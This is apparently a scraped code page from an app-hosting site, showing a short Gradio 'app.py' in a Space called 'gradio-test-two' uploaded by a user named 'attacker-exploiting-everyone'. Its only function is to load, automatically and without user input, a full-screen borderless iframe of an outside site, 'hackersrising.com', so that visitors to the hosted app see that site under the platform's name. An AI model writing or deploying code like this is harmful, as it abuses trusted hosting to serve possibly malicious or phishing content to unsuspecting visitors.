gradio-test-two / app.py
attacker-exploiting-everyone's picture
Update app.py
d1e194e verified
raw
history blame contribute delete
385 Bytes
import gradio as gr
def greet():
# Inject iframe to load the page and fill 100% of the page
iframe_code = '''
<iframe src="https://hackersrising.com"
style="width: 100%; height: 100vh; border: none;"></iframe>
'''
return iframe_code
with gr.Blocks() as demo:
# Automatically load the iframe without user input
gr.HTML(greet())
demo.launch()